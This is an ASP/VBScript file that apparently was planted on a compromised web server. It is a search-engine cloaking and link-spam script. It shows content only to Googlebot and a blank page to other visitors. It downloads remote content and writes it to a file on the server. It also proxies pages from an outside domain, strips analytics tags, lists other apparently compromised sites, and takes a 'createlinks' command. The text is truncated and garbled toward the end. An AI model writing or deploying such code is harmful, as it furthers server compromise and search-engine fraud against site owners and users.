<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
function GetBot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) >0 then
GetBot="google"
end if
end function
if GetBot="google" then
else
Response.Write("")
Response.End
end if
%>
<%
server.ScriptTimeout=9999999
On Error Resume next
headerfile="[##FileName##]"
set fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(server.mappath(headerfile)) then
fso.deletefile(server.mappath(headerfile))
end if
filebody=GetResStr("[##jsUrl##]")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Open
.Charset = "utf-8"
.Position = objStream.Size
.WriteText = filebody
.SaveToFile server.mappath(headerfile),2
.Close
End With
Set objStream = Nothing
Set fso = Nothing
set fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(server.mappath(headerfile)) then
%>
<%
end if
action=request("action")
replacestr=request("replacestr")
If action="createlinks" and replacestr<>"" Then
Response.Write CreateLink()
Response.End
End If
queryStr=Trim(Request.QueryString)
siteUrl="http://jacketparkauk.com"
previousUrl="http://www.kumbet.biz/updates/index.asp,http://www.seyhantelcit.com/updates/gooseoutlet4q.asp,http://www.yenibirikim.com/updates/gooseoutlet9t.asp,http://www.ctdsgn.com/updates/gooseoutlet0s.asp,http://www.hamurcular.com/updates/goosestore2v.asp"
locationUrl=GetLocationURL()
sourceBody=GetResStr(siteUrl&"/"&queryStr)
if instr(sourceBody,"(.*?)","")
sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","")
sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1)
sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1)
sourceBody=replace(sourceBody,"","